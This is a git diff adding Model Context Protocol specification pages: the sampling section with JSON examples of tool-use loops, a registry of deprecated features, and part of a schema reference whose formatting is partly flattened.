+ "_meta": {
+ "io.modelcontextprotocol/clientCapabilities": {
+ "sampling": {
+ "context": {}
+ }
+ }
+ }
+}
+```
+
+
+ The `includeContext` parameter values `"thisServer"` and `"allServers"` are
+ deprecated under the [feature lifecycle
+ policy](/community/feature-lifecycle#deprecating-a-feature)
+ ([SEP-2596](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2596));
+ they will be removed no later than the Sampling feature itself. Servers
+ **SHOULD** avoid using these values (e.g. can just omit `includeContext` since
+ it defaults to `"none"`), and **SHOULD NOT** use them unless the client
+ declares `sampling.context` capability. See the [deprecated features
+ registry](/specification/2026-07-28/deprecated).
+
+
+## Protocol Messages
+
+### Creating Messages
+
+To request a language model generation during the processing of a client request, servers send an `InputRequiredResult` containing a `sampling/createMessage` request:
+
+**Input request (delivered inside [`InputRequiredResult.inputRequests`](/specification/2026-07-28/basic/patterns/mrtr#inputrequests)):**
+
+```json theme={null}
+{
+ "method": "sampling/createMessage",
+ "params": {
+ "messages": [
+ {
+ "role": "user",
+ "content": {
+ "type": "text",
+ "text": "What is the capital of France?"
+ }
+ }
+ ],
+ "modelPreferences": {
+ "hints": [
+ {
+ "name": "claude-3-sonnet"
+ }
+ ],
+ "costPriority": 0.3,
+ "intelligencePriority": 0.8,
+ "speedPriority": 0.5
+ },
+ "temperature": 0.1,
+ "systemPrompt": "You are a helpful assistant.",
+ "includeContext": "thisServer",
+ "maxTokens": 100
+ }
+}
+```
+
+**Client result (returned inside `inputResponses` on the retried request):**
+
+```json theme={null}
+{
+ "role": "assistant",
+ "content": {
+ "type": "text",
+ "text": "The capital of France is Paris."
+ },
+ "model": "claude-3-sonnet-20240307",
+ "stopReason": "endTurn"
+}
+```
+
+### Sampling with Tools
+
+The following diagram illustrates the complete flow of sampling with tools, including the multi-turn tool loop:
+
+```mermaid theme={null}
+sequenceDiagram
+ participant Server
+ participant Client
+ participant User
+ participant LLM
+
+ Client->>Server: tools/call(id:1)
+ note right of Server: Server needs more info
+ Server->>Client: InputRequiredResult( sampling/createMessage (messages + tools))
+
+ Note over Client,User: Human-in-the-loop review
+ Client->>User: Present request for approval
+ User-->>Client: Approve/modify
+
+ Client->>LLM: Forward request with tools
+ LLM-->>Client: Response with tool_use (stopReason: "toolUse")
+
+ Client->>User: Present tool calls for review
+ User-->>Client: Approve tool calls
+ Client-->>Server: tools/call(id:2, Return tool_use response)
+
+ Note over Server: Execute tool(s)
+ Server->>Server: Run get_weather("Paris") Run get_weather("London")
+
+ Note over Server,Client: Continue with tool results
+ Server->>Client: InputRequiredResult( sampling/createMessage (history + tool_results + tools))
+
+ Client->>User: Present continuation
+ User-->>Client: Approve
+
+ Client->>LLM: Forward with tool results
+ LLM-->>Client: Final text response (stopReason: "endTurn")
+
+ Client->>User: Present response
+ User-->>Client: Approve
+ Client-->>Server: tools/call(id:3, Return final response)
+
+ Note over Server: Server processes result (may continue conversation...)
+```
+
+To request LLM generation with tool use capabilities, servers include `tools` and optionally `toolChoice` in the request:
+
+**Input request (Server -> Client, delivered inside `InputRequiredResult.inputRequests`):**
+
+```json theme={null}
+{
+ "method": "sampling/createMessage",
+ "params": {
+ "messages": [
+ {
+ "role": "user",
+ "content": {
+ "type": "text",
+ "text": "What's the weather like in Paris and London?"
+ }
+ }
+ ],
+ "tools": [
+ {
+ "name": "get_weather",
+ "description": "Get current weather for a city",
+ "inputSchema": {
+ "type": "object",
+ "properties": {
+ "city": {
+ "type": "string",
+ "description": "City name"
+ }
+ },
+ "required": ["city"]
+ }
+ }
+ ],
+ "toolChoice": {
+ "mode": "auto"
+ },
+ "maxTokens": 1000
+ }
+}
+```
+
+**Client result (Client -> Server, returned inside `inputResponses` on the retried request):**
+
+```json theme={null}
+{
+ "role": "assistant",
+ "content": [
+ {
+ "type": "tool_use",
+ "id": "call_abc123",
+ "name": "get_weather",
+ "input": {
+ "city": "Paris"
+ }
+ },
+ {
+ "type": "tool_use",
+ "id": "call_def456",
+ "name": "get_weather",
+ "input": {
+ "city": "London"
+ }
+ }
+ ],
+ "model": "claude-3-sonnet-20240307",
+ "stopReason": "toolUse"
+}
+```
+
+### Multi-turn Tool Loop
+
+After receiving tool use requests from the LLM, the server typically:
+
+1. Executes the requested tool uses.
+2. Sends a new sampling request with the tool results appended
+3. Receives the LLM's response (which might contain new tool uses)
+4. Repeats as many times as needed (server might cap the maximum number of iterations, and e.g. pass `toolChoice: {mode: "none"}` on the last iteration to force a final result)
+
+**Follow-up input request (Server -> Client, delivered inside `InputRequiredResult.inputRequests`) with tool results:**
+
+```json theme={null}
+{
+ "method": "sampling/createMessage",
+ "params": {
+ "messages": [
+ {
+ "role": "user",
+ "content": {
+ "type": "text",
+ "text": "What's the weather like in Paris and London?"
+ }
+ },
+ {
+ "role": "assistant",
+ "content": [
+ {
+ "type": "tool_use",
+ "id": "call_abc123",
+ "name": "get_weather",
+ "input": { "city": "Paris" }
+ },
+ {
+ "type": "tool_use",
+ "id": "call_def456",
+ "name": "get_weather",
+ "input": { "city": "London" }
+ }
+ ]
+ },
+ {
+ "role": "user",
+ "content": [
+ {
+ "type": "tool_result",
+ "toolUseId": "call_abc123",
+ "content": [
+ {
+ "type": "text",
+ "text": "Weather in Paris: 18°C, partly cloudy"
+ }
+ ]
+ },
+ {
+ "type": "tool_result",
+ "toolUseId": "call_def456",
+ "content": [
+ {
+ "type": "text",
+ "text": "Weather in London: 15°C, rainy"
+ }
+ ]
+ }
+ ]
+ }
+ ],
+ "tools": [
+ {
+ "name": "get_weather",
+ "description": "Get current weather for a city",
+ "inputSchema": {
+ "type": "object",
+ "properties": {
+ "city": { "type": "string" }
+ },
+ "required": ["city"]
+ }
+ }
+ ],
+ "maxTokens": 1000
+ }
+}
+```
+
+**Final client result (Client -> Server, returned inside `inputResponses` on the retried request):**
+
+```json theme={null}
+{
+ "role": "assistant",
+ "content": {
+ "type": "text",
+ "text": "Based on the current weather data:\n\n- **Paris**: 18°C and partly cloudy - quite pleasant!\n- **London**: 15°C and rainy - you'll want an umbrella.\n\nParis has slightly warmer and drier conditions today."
+ },
+ "model": "claude-3-sonnet-20240307",
+ "stopReason": "endTurn"
+}
+```
+
+## Message Content Constraints
+
+### Tool Result Messages
+
+When a user message contains tool results (type: "tool\_result"), it **MUST** contain ONLY tool results. Mixing tool results with other content types (text, image, audio) in the same message is not allowed.
+
+This constraint ensures compatibility with provider APIs that use dedicated roles for tool results (e.g., OpenAI's "tool" role, Gemini's "function" role).
+
+**Valid - single tool result:**
+
+```json theme={null}
+{
+ "role": "user",
+ "content": {
+ "type": "tool_result",
+ "toolUseId": "call_123",
+ "content": [{ "type": "text", "text": "Result data" }]
+ }
+}
+```
+
+**Valid - multiple tool results:**
+
+```json theme={null}
+{
+ "role": "user",
+ "content": [
+ {
+ "type": "tool_result",
+ "toolUseId": "call_123",
+ "content": [{ "type": "text", "text": "Result 1" }]
+ },
+ {
+ "type": "tool_result",
+ "toolUseId": "call_456",
+ "content": [{ "type": "text", "text": "Result 2" }]
+ }
+ ]
+}
+```
+
+**Invalid - mixed content:**
+
+```json theme={null}
+{
+ "role": "user",
+ "content": [
+ {
+ "type": "text",
+ "text": "Here are the results:"
+ },
+ {
+ "type": "tool_result",
+ "toolUseId": "call_123",
+ "content": [{ "type": "text", "text": "Result data" }]
+ }
+ ]
+}
+```
+
+### Tool Use and Result Balance
+
+When using tool use in sampling, every assistant message containing `ToolUseContent` blocks **MUST** be followed by a user message that consists entirely of `ToolResultContent` blocks, with each tool use (e.g. with `id: $id`) matched by a corresponding tool result (with `toolUseId: $id`), before any other message.
+
+This requirement ensures:
+
+* Tool uses are always resolved before the conversation continues
+* Provider APIs can concurrently process multiple tool uses and fetch their results in parallel
+* The conversation maintains a consistent request-response pattern
+
+**Example valid sequence:**
+
+1. User message: "What's the weather like in Paris and London?"
+2. Assistant message: `ToolUseContent` (`id: "call_abc123", name: "get_weather", input: {city: "Paris"}`) + `ToolUseContent` (`id: "call_def456", name: "get_weather", input: {city: "London"}`)
+3. User message: `ToolResultContent` (`toolUseId: "call_abc123", content: "18°C, partly cloudy"`) + `ToolResultContent` (`toolUseId: "call_def456", content: "15°C, rainy"`)
+4. Assistant message: Text response comparing the weather in both cities
+
+**Invalid sequence - missing tool result:**
+
+1. User message: "What's the weather like in Paris and London?"
+2. Assistant message: `ToolUseContent` (`id: "call_abc123", name: "get_weather", input: {city: "Paris"}`) + `ToolUseContent` (`id: "call_def456", name: "get_weather", input: {city: "London"}`)
+3. User message: `ToolResultContent` (`toolUseId: "call_abc123", content: "18°C, partly cloudy"`) ← Missing result for call\_def456
+4. Assistant message: Text response (invalid - not all tool uses were resolved)
+
+## Cross-API Compatibility
+
+The sampling specification is designed to work across multiple LLM provider APIs (Claude, OpenAI, Gemini, etc.). Key design decisions for compatibility:
+
+### Message Roles
+
+MCP uses two roles: "user" and "assistant".
+
+Tool use requests are sent in CreateMessageResult with the "assistant" role.
+Tool results are sent back in messages with the "user" role.
+Messages with tool results cannot contain other kinds of content.
+
+### Tool Choice Modes
+
+`CreateMessageRequest.params.toolChoice` controls the tool use ability of the model:
+
+* `{mode: "auto"}`: Model decides whether to use tools (default)
+* `{mode: "required"}`: Model MUST use at least one tool before completing
+* `{mode: "none"}`: Model MUST NOT use any tools
+
+### Parallel Tool Use
+
+MCP allows models to make multiple tool use requests in parallel (returning an array of `ToolUseContent`). All major provider APIs support this:
+
+* **Claude**: Supports parallel tool use natively
+* **OpenAI**: Supports parallel tool calls (can be disabled with `parallel_tool_calls: false`)
+* **Gemini**: Supports parallel function calls natively
+
+Implementations wrapping providers that support disabling parallel tool use MAY expose this as an extension, but it is not part of the core MCP specification.
+
+## Message Flow
+
+```mermaid theme={null}
+sequenceDiagram
+ participant Server
+ participant Client
+ participant User
+ participant LLM
+
+ Client->>Server: tools/call(id:1)
+ note right of Server: Server needs more info
+ Server->>Client: InputRequiredResult( sampling/createMessage (messages + tools))
+
+ Note over Client,User: Human-in-the-loop review
+ Client->>User: Present request for approval
+ User-->>Client: Review and approve/modify
+
+ Note over Client,LLM: Model interaction
+ Client->>LLM: Forward approved request
+ LLM-->>Client: Return generation
+
+ Note over Client,User: Response review
+ Client->>User: Present response for approval
+ User-->>Client: Review and approve/modify
+
+ Note over Server,Client: Replay Request with approved response
+ Client-->>Server: tools/call(id:3, Return approved response)
+```
+
+## Data Types
+
+### Messages
+
+Sampling messages **MUST** contain a `role` field of `"user"` or `"assistant"`; and
+a `content` field representing the message data.
+
+The list of messages in a sampling request **SHOULD NOT** be retained between
+separate requests.
+
+The `content` field can contain:
+
+#### Text Content
+
+```json theme={null}
+{
+ "type": "text",
+ "text": "The message content"
+}
+```
+
+#### Image Content
+
+```json theme={null}
+{
+ "type": "image",
+ "data": "base64-encoded-image-data",
+ "mimeType": "image/jpeg"
+}
+```
+
+#### Audio Content
+
+```json theme={null}
+{
+ "type": "audio",
+ "data": "base64-encoded-audio-data",
+ "mimeType": "audio/wav"
+}
+```
+
+### Model Preferences
+
+Model selection in MCP requires careful abstraction since servers and clients may use
+different AI providers with distinct model offerings. A server cannot simply request a
+specific model by name since the client may not have access to that exact model or may
+prefer to use a different provider's equivalent model.
+
+To solve this, MCP implements a preference system that combines abstract capability
+priorities with optional model hints:
+
+#### Capability Priorities
+
+Servers express their needs through three normalized priority values (0-1):
+
+* `costPriority`: How important is minimizing costs? Higher values prefer cheaper models.
+* `speedPriority`: How important is low latency? Higher values prefer faster models.
+* `intelligencePriority`: How important are advanced capabilities? Higher values prefer
+ more capable models.
+
+#### Model Hints
+
+While priorities help select models based on characteristics, `hints` allow servers to
+suggest specific models or model families:
+
+* Hints are treated as substrings that can match model names flexibly
+* Multiple hints are evaluated in order of preference
+* Clients **MAY** map hints to equivalent models from different providers
+* Hints are advisory—clients make final model selection
+
+For example:
+
+```json theme={null}
+{
+ "hints": [
+ { "name": "claude-3-sonnet" }, // Prefer Sonnet-class models
+ { "name": "claude" } // Fall back to any Claude model
+ ],
+ "costPriority": 0.3, // Cost is less important
+ "speedPriority": 0.8, // Speed is very important
+ "intelligencePriority": 0.5 // Moderate capability needs
+}
+```
+
+The client processes these preferences to select an appropriate model from its available
+options. For instance, if the client doesn't have access to Claude models but has Gemini,
+it might map the sonnet hint to `gemini-1.5-pro` based on similar capabilities.
+
+### System Prompt
+
+The optional `systemPrompt` field allows servers to request a specific system prompt.
+The client **MAY** modify or ignore this field without communicating this to the server.
+
+### Context Inclusion
+
+The `includeContext` parameter specifies what context information the client is expected
+to include in its response:
+
+* `"none"`: No additional context.
+* `"thisServer"`: Include context from the requesting server.
+* `"allServers"`: Include context from all connected MCP servers.
+
+The `"thisServer"` and `"allServers"` values are deprecated; see
+[Capabilities](#capabilities).
+
+The client **MAY** modify or ignore this field without communicating this to the server.
+For example, a client could determine that respecting this field in a particular request
+would require sharing sensitive information with a server, and constrain its response
+accordingly.
+
+### Sampling Parameters
+
+LLM sampling can be fine-tuned with the following parameters:
+
+* `temperature`: Controls randomness in model responses. Higher values produce higher randomness, and lower values produce more stable output. Valid range depends upon the model provider.
+* `maxTokens`: Maximum tokens to generate; required.
+* `stopSequences`: Array of sequences that stop generation.
+* `metadata`: Additional provider-specific parameters.
+
+The client **MUST** respect the `maxTokens` parameter.
+
+The client **MAY** modify or ignore `temperature`, `stopSequences` and `metadata`. For
+example, a client could use a model that does not support one or more of these parameters,
+and would therefore be unable to leverage them.
+
+### Result Fields
+
+Sampling results will contain the following fields:
+
+* `role`: The message role; see [Messages](#messages).
+
+* `content`: The message content. This can be either:
+
+ * A single content block when the response contains only one content block, such as a single text response.
+ * An array of content blocks when the response contains one or more content blocks, such as multiple tool uses or mixed content.
+
+ See [Messages](#messages) for content block types.
+
+* `model`: The name of the model that generated the message.
+
+* `stopReason`: The reason why sampling stopped, if known. The specification defines the following (non-exhaustive) stop reasons, although implementations **MAY** provide their own arbitrary values:
+ * `"endTurn"`: The participant is yielding the conversation to the other party.
+ * `"stopSequence"`: Message generation encountered one of the requested `stopSequences`.
+ * `"maxTokens"`: The token limit was reached.
+ * `"toolUse"`: The model wants to use one or more tools.
+
+## Error Handling
+
+If an error occurs or the user declines the sampling request, the client does not need to replay the initial call with an
+error message, as the server is not waiting for a response with the `InputRequiredResult` pattern.
+
+## Security Considerations
+
+1. Clients **SHOULD** implement user approval controls
+2. Both parties **SHOULD** validate message content
+3. Clients **SHOULD** respect model preference hints
+4. Clients **SHOULD** implement rate limiting
+5. Both parties **MUST** handle sensitive data appropriately
+
+When tools are used in sampling, additional security considerations apply:
+
+6. Servers **MUST** ensure that when replying to a `stopReason: "toolUse"`, each `ToolUseContent` item is responded to with a `ToolResultContent` item with a matching `toolUseId`, and that the user message contains only tool results (no other content types)
+7. Both parties **SHOULD** implement iteration limits for tool loops
diff --git a/content/mcp/specification/2026-07-28/deprecated.md b/content/mcp/specification/2026-07-28/deprecated.md
new file mode 100644
index 000000000..de53be9ce
--- /dev/null
+++ b/content/mcp/specification/2026-07-28/deprecated.md
@@ -0,0 +1,43 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Deprecated Features
+
+
+
+This page is the registry of specification features that are currently in the
+**Deprecated** state under the
+[feature lifecycle and deprecation policy](/community/feature-lifecycle)
+([SEP-2596](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2596)).
+
+A Deprecated feature remains part of the specification but is scheduled for
+removal: new implementations **SHOULD NOT** adopt it, and existing
+implementations **SHOULD** migrate before the feature's earliest removal. The
+earliest removal marks when a feature becomes *eligible* for removal; the
+actual removal is a Core Maintainer decision taken during release preparation
+and may happen later.
+
+This registry is a derived view kept consistent with the per-feature
+deprecation notices and changelog entries, which are the normative records.
+
+## Deprecated
+
+| Feature | Deprecation SEP | Deprecated in | Migration path | Earliest removal |
+| ---------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------- | ------------- | ------------------------------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------- |
+| [Roots](/specification/2026-07-28/client/roots) | [SEP-2577](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2577) | `2026-07-28` | Pass directories or files via tool parameters, resource URIs, or server configuration | First revision released on or after 2027-07-28 |
+| [Sampling](/specification/2026-07-28/client/sampling) | [SEP-2577](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2577) | `2026-07-28` | Integrate directly with LLM provider APIs | First revision released on or after 2027-07-28 |
+| [Logging](/specification/2026-07-28/server/utilities/logging) | [SEP-2577](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2577) | `2026-07-28` | Log to `stderr` for stdio transports; use [OpenTelemetry](https://opentelemetry.io/) for observability | First revision released on or after 2027-07-28 |
+| [Dynamic Client Registration](/specification/2026-07-28/basic/authorization/client-registration#dynamic-client-registration) | [PR #2858](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2858) | `2026-07-28` | [Client ID Metadata Documents](/specification/2026-07-28/basic/authorization/client-registration#client-id-metadata-documents) | First revision released on or after 2027-07-28 |
+| `includeContext: "thisServer"` / `"allServers"` ([Sampling](/specification/2026-07-28/client/sampling#capabilities)) | [SEP-2596](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2596) | `2025-11-25` | Omit the field or use `"none"` | Follows Sampling ([SEP-2577](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2577)) |
+| [HTTP+SSE transport](/specification/2024-11-05/basic/transports#http-with-sse) | [SEP-2596](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2596) | `2025-03-26` | [Streamable HTTP](/specification/2026-07-28/basic/transports/streamable-http) | Three months after SEP-2596 reaches Final |
+
+The HTTP+SSE transport and the `includeContext` values were already described
+as deprecated before the lifecycle policy existed; SEP-2596 reclassifies them
+as Deprecated under its [transition provisions](/community/feature-lifecycle).
+
+## Removed
+
+No features have been removed under this policy yet. When a Deprecated feature
+is removed, its row moves to this section with a link to the changelog entry
+recording the removal.
diff --git a/content/mcp/specification/2026-07-28/schema.md b/content/mcp/specification/2026-07-28/schema.md
new file mode 100644
index 000000000..e36fd91d4
--- /dev/null
+++ b/content/mcp/specification/2026-07-28/schema.md
@@ -0,0 +1,1231 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Schema Reference
+
+
+
+## JSON-RPC
+
+
Optional annotations for the client. The client can use annotations to inform how objects are used or displayed
audience?: Role\[]
Describes who the intended audience of this object or data is.
It can include multiple entries to indicate content useful for multiple audiences (e.g., \["user", "assistant"]).
priority?: number
Describes how important this data is for operating the server.
A value of 1 means "most important," and indicates that the data is
+ effectively required, while 0 means "least important," and indicates that
+ the data is entirely optional.
lastModified?: string
The moment the resource was last modified, as an ISO 8601 formatted string.
Should be an ISO 8601 formatted string (e.g., "2025-01-12T15:00:58Z").
Examples: last activity timestamp in an open file, timestamp when the resource
+ was attached, etc.
+
+
+
+ ### `Cursor`
+
+
Cursor:string
An opaque token used to represent a cursor for pagination.
An optionally-sized icon that can be displayed in a user interface.
src: string
A standard URI pointing to an icon resource. May be an HTTP/HTTPS URL or a data: URI with Base64-encoded image data.
Consumers SHOULD take steps to ensure URLs serving icons are from the
+ same domain as the client/server or a trusted domain.
Consumers SHOULD take appropriate precautions when consuming SVGs as they can contain
+ executable JavaScript.
mimeType?: string
Optional MIME type override if the source MIME type is missing or generic.
+ For example: "image/png", "image/jpeg", or "image/svg+xml".
sizes?: string\[]
Optional array of strings that specify sizes at which the icon can be used.
+ Each string should be in WxH format (e.g., "48x48", "96x96") or "any" for scalable formats like SVG.
If not provided, the client should assume that the icon can be used at any size.
theme?: "light" | "dark"
Optional specifier for the theme this icon is designed for. "light" indicates
+ the icon is designed to be used with a light background, and "dark" indicates
+ the icon is designed to be used with a dark background.
If not provided, the client should assume the icon can be used with any theme.
Deprecated as of protocol version 2026-07-28 (SEP-2577).
+ Remains in the specification for at least twelve months; see the
+ deprecated features registry.
+
+
+
+ ### `MetaObject`
+
+
MetaObject:Record\<string,unknown>
Represents the contents of a \_meta field, which clients and servers use to attach additional metadata to their interactions.
Certain key names are reserved by MCP for protocol-level metadata; implementations MUST NOT make assumptions about values at these keys. Additionally, specific schema definitions may reserve particular names for purpose-specific metadata, as declared in those definitions.
Valid keys have two segments:
Prefix:
Optional — if specified, MUST be a series of labels separated by dots (.), followed by a slash (/).
Labels MUST start with a letter and end with a letter or digit. Interior characters may be letters, digits, or hyphens (-).
Implementations SHOULD use reverse DNS notation (e.g., com.example/ rather than example.com/).
Any prefix where the second label is modelcontextprotocol or mcp is reserved for MCP use. For example: io.modelcontextprotocol/, dev.mcp/, org.modelcontextprotocol.api/, and com.mcp.tools/ are all reserved. However, com.example.mcp/ is NOT reserved, as the second label is example.
Name:
Unless empty, MUST start and end with an alphanumeric character (\[a-z0-9A-Z]).
Interior characters may be alphanumeric, hyphens (-), underscores (\_), or dots (.).
Identifies the subscription stream a notification was delivered on. The
+ server MUST include this key on every notification delivered via a subscriptions/listen stream, so the
+ client can correlate the notification with the originating subscription.
+ The key is absent on notifications not delivered via a subscription
+ stream (e.g. progress notifications for an in-flight request), which is
+ why it is optional here.
The value is the JSON-RPC ID of the subscriptions/listen request that
+ opened the stream.
If specified, the caller is requesting out-of-band progress notifications for this request (as represented by notifications/progress). The value of this parameter is an opaque token that will be attached to any subsequent notifications. The receiver is not obligated to provide these notifications.
"io.modelcontextprotocol/protocolVersion": string
The MCP Protocol Version being used for this request. Required.
For the HTTP transport, this value MUST match the MCP-Protocol-Version
+ header; otherwise the server MUST return a 400 Bad Request. If the
+ server does not support the requested version, it MUST return an UnsupportedProtocolVersionError.
Identifies the client software making the request. Clients SHOULD
+ include this field on every request unless specifically configured not
+ to do so.
The Implementation schema requires name and version; other
+ fields are optional.
The value is self-reported by the client and is not verified by the
+ protocol. It is intended for display, logging, and debugging. Servers
+ SHOULD NOT use it to change their behavior, and SHOULD NOT rely on it for
+ security decisions.
The client's capabilities for this specific request. Required.
Capabilities are declared per-request rather than once at initialization;
+ an empty object means the client supports no optional capabilities.
+ Servers MUST NOT infer capabilities from prior requests.
"io.modelcontextprotocol/logLevel"?: LoggingLevel
The desired log level for this request. Optional.
If absent, the server MUST NOT send any notifications/message
+ notifications for this request. The client opts in to log messages by
+ explicitly setting a level. Replaces the former logging/setLevel RPC.
Deprecated
Deprecated as of protocol version 2026-07-28 (SEP-2577).
+ Remains in the specification for at least twelve months; see the
+ deprecated features registry.
Indicates the type of the result, which allows the client to determine
+ how to parse the result object.
Servers implementing this protocol version MUST include this field.
+ For backward compatibility, when a client receives a result from a
+ server implementing an earlier protocol version (which does not include resultType), the client MUST treat the absent field as "complete".
Identifies the server software producing the response. Servers SHOULD
+ include this field on every response unless specifically configured not
+ to do so.
The Implementation schema requires name and version; other
+ fields are optional.
The value is self-reported by the server and is not verified by the
+ protocol. It is intended for display, logging, and debugging. Clients
+ SHOULD NOT use it to change their behavior, and SHOULD NOT rely on it for
+ security decisions.
+
+
+
+ ### `ResultType`
+
+
ResultType:"complete"|"input\_required"|string
Indicates the type of a Result object, allowing the client to
+ determine how to parse the response.
complete - the request completed successfully and the result contains the final content.
+ input\_required - the request requires additional input and the result contains an InputRequiredResult object with instructions for the client to provide additional input before retrying the original request.
+
+
+
+ ### `Role`
+
+
Role:"user"|"assistant"
The sender or recipient of messages and data in a conversation.
A short description of the error. The message SHOULD be limited to a concise single sentence.
data?: unknown
Additional information about the error. The value of this member is defined by the sender (e.g. detailed error information, nested errors etc.).
+
+
+
+ ### `HEADER_MISMATCH`
+
+
HEADER\_MISMATCH:-32020
Error code returned when the HTTP headers of a request do not match the
+ corresponding values in the request body, or required headers are
+ missing or malformed.
Returned when a server rejects a request because the values in the HTTP
+ headers do not match the corresponding values in the request body, or
+ because required headers are missing or malformed. For HTTP, the response
+ status code MUST be 400 Bad Request.
Example: Header mismatch
\{ "jsonrpc": "2.0", "id": 1, "error": \{ "code": -32020, "message": "Header mismatch: Mcp-Name header value 'foo' does not match body value 'bar'" } }
A JSON-RPC error indicating that an internal error occurred on the receiver. This error is returned when the receiver encounters an unexpected condition that prevents it from fulfilling the request.
A JSON-RPC error indicating that the request is not a valid request object. This error is returned when the message structure does not conform to the JSON-RPC 2.0 specification requirements for a request (e.g., missing required fields like jsonrpc or method, or using invalid types for these fields).
A JSON-RPC error indicating that the requested method does not exist or is not available.
In MCP, a server returns this error when a client invokes a method the server does not implement — either a genuinely unknown method, or one gated behind a server capability the server did not advertise (e.g., calling prompts/list when the prompts capability was not advertised).
Returned when processing a request requires a capability the client did not
+ declare in clientCapabilities. For HTTP, the response status code MUST be 400 Bad Request.
Example: Missing elicitation capability
\{ "jsonrpc": "2.0", "id": 1, "error": \{ "code": -32021, "message": "Server requires the elicitation capability for this request", "data": \{ "requiredCapabilities": \{ "elicitation": \{} } } } }
A JSON-RPC error indicating that invalid JSON was received by the server. This error is returned when the server cannot parse the JSON text of a message.
Returned when the request's protocol version is unknown to the server or
+ unsupported (e.g., a known experimental or draft version the server has
+ chosen not to implement). For HTTP, the response status code MUST be 400 Bad Request.
Intended for programmatic or logical use, but used as a display name in past specs or fallback (if title isn't present).
title?: string
Intended for UI and end-user contexts — optimized to be human-readable and easily understood,
+ even by those unfamiliar with domain-specific terminology.
If not provided, the name should be used for display (except for Tool,
+ where annotations.title should be given precedence over using name,
+ if present).
uri: string
The URI of this resource.
description?: string
A description of what this resource represents.
This can be used by clients to improve the LLM's understanding of available resources. It can be thought of like a "hint" to the model.
mimeType?: string
The MIME type of this resource, if known.
annotations?: Annotations
Optional annotations for the client.
size?: number
The size of the raw resource content, in bytes (i.e., before base64 encoding or any tokenization), if known.
This can be used by Hosts to display file sizes and estimate context window usage.
Indicates the type of the result, which allows the client to determine
+ how to parse the result object.
Servers implementing this protocol version MUST include this field.
+ For backward compatibility, when a client receives a result from a
+ server implementing an earlier protocol version (which does not include resultType), the client MUST treat the absent field as "complete".
Intended for programmatic or logical use, but used as a display name in past specs or fallback (if title isn't present).
title?: string
Intended for UI and end-user contexts — optimized to be human-readable and easily understood,
+ even by those unfamiliar with domain-specific terminology.
If not provided, the name should be used for display (except for Tool,
+ where annotations.title should be given precedence over using name,
+ if present).
The submitted form data, only present when action is "accept" and mode was "form".
+ Contains values matching the requested schema.
+ Omitted for out-of-band mode responses.
The parameters for a request to elicit information from the user via a URL in the client.
Example: Elicit sensitive data
\{ "mode": "url", "url": "[https://mcp.example.com/ui/set\_api\_key](https://mcp.example.com/ui/set\_api\_key)", "message": "Please provide your API key to continue." }
mode: "url"
The elicitation mode.
message: string
The message to present to the user explaining why the interaction is needed.
This notification is sent by the client to indicate that it is cancelling a request it previously issued.
On stdio, the server also sends this notification, solely to terminate a subscriptions/listen stream: it references the ID of the subscriptions/listen request that opened the stream. Servers MUST NOT use this notification to cancel any other request.
The request SHOULD still be in-flight, but due to communication latency, it is always possible that this notification MAY arrive after the request has already finished.
This notification indicates that the result will be unused, so any associated processing SHOULD cease.
JSONRPCNotification of a log message passed from server to client. The client opts in by setting "io.modelcontextprotocol/logLevel" in a request's \_meta.
Deprecated
Deprecated as of protocol version 2026-07-28 (SEP-2577).
+ Remains in the specification for at least twelve months; see the
+ deprecated features registry.
Parameters for a notifications/message notification.
Deprecated
Deprecated as of protocol version 2026-07-28 (SEP-2577).
+ Remains in the specification for at least twelve months; see the
+ deprecated features registry.
An optional notification from the server to the client, informing it that the list of prompts it offers has changed. This is only delivered on a subscriptions/listen stream when the client requested it via the promptsListChanged filter field.
An optional notification from the server to the client, informing it that the list of resources it can read from has changed. This is only delivered on a subscriptions/listen stream when the client requested it via the resourcesListChanged filter field.
A notification from the server to the client, informing it that a resource has changed and may need to be read again. This is only sent for resources the client opted in to via the resourceSubscriptions field of a subscriptions/listen request.
Sent by the server to acknowledge that a subscriptions/listen subscription has been
+ established and to report which notification types it agreed to honor.
This notification MUST be the first message the server sends carrying the
+ subscription's ID in io.modelcontextprotocol/subscriptionId. The server MUST
+ NOT send any notification on the subscription before acknowledging it. On
+ stdio, where every subscription shares one channel, this ordering is defined
+ per subscription ID and not per channel: messages belonging to other
+ subscriptions MAY be interleaved before it.
The subset of requested notification types the server agreed to honor.
+ Only includes notification types the server actually supports; if the
+ client requested an unsupported type (e.g., promptsListChanged when
+ the server has no prompts), it is omitted from this set.
An optional notification from the server to the client, informing it that the list of tools it offers has changed. This is only delivered on a subscriptions/listen stream when the client requested it via the toolsListChanged filter field.
Indicates the type of the result, which allows the client to determine
+ how to parse the result object.
Servers implementing this protocol version MUST include this field.
+ For backward compatibility, when a client receives a result from a
+ server implementing an earlier protocol version (which does not include resultType), the client MUST treat the absent field as "complete".
inputRequests?: InputRequests
requestState?: string
+
+
+
+ ### `InputResponses`
+
+
InputResponses:any
A map of client responses to server-initiated requests.
+ Keys correspond to the keys in the InputRequests map;
+ values are the client's result for each request.
Example: Elicitation and sampling input responses
\{ "github\_login": \{ "action": "accept", "content": \{ "name": "octocat" } }, "capital\_of\_france": \{ "role": "assistant", "content": \{ "type": "text", "text": "The capital of France is Paris." }, "model": "claude-3-sonnet-20240307", "stopReason": "endTurn" } }
Indicates the type of the result, which allows the client to determine
+ how to parse the result object.
Servers implementing this protocol version MUST include this field.
+ For backward compatibility, when a client receives a result from a
+ server implementing an earlier protocol version (which does not include resultType), the client MUST treat the absent field as "complete".
Indicates the type of the result, which allows the client to determine
+ how to parse the result object.
Servers implementing this protocol version MUST include this field.
+ For backward compatibility, when a client receives a result from a
+ server implementing an earlier protocol version (which does not include resultType), the client MUST treat the absent field as "complete".
nextCursor?: string
An opaque token representing the pagination position after the last returned result.
